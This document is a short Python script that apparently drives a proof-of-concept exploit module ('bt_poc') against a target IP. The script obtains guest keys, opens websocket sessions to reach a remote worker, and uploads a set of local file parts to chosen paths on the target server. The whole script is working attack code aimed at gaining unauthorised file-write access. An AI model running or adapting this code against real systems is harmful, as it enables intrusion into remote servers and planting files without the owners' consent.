import asyncio, sys, glob
import aiohttp
import bt_poc as B

async def main(ip, issue, pattern, remote_prefix):
    parts = sorted(glob.glob(pattern))
    if not parts:
        print('no parts'); return
    conn = aiohttp.TCPConnector(limit=4, force_close=True)
    async with aiohttp.ClientSession(connector=conn) as s:
        base = 'https://' + ip
        site = await B.site_info(s, base)
        nk = await B.guest_key(s, base, issue)
        tk = await B.guest_key(s, base, issue)
        w = await B.open_ws(s, base, site[0], site[1], False)
        c, h = await B.native_setup(w, nk)
        tw = await B.open_ws(s, base, site[0], site[1], True)
        await B.thin_setup(tw, tk)
        worker = await B.get_worker(c, h, tk)
        for p in parts:
            data = open(p, 'rb').read()
            remote = '%s%s' % (remote_prefix, p.rsplit('.', 1)[-1])
            try:
                await B.write_file(c, worker, remote, data)
                print('OK', remote, len(data))
            except Exception as e:
                print('FAIL', remote, type(e).__name__, e)

asyncio.run(main(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4]))
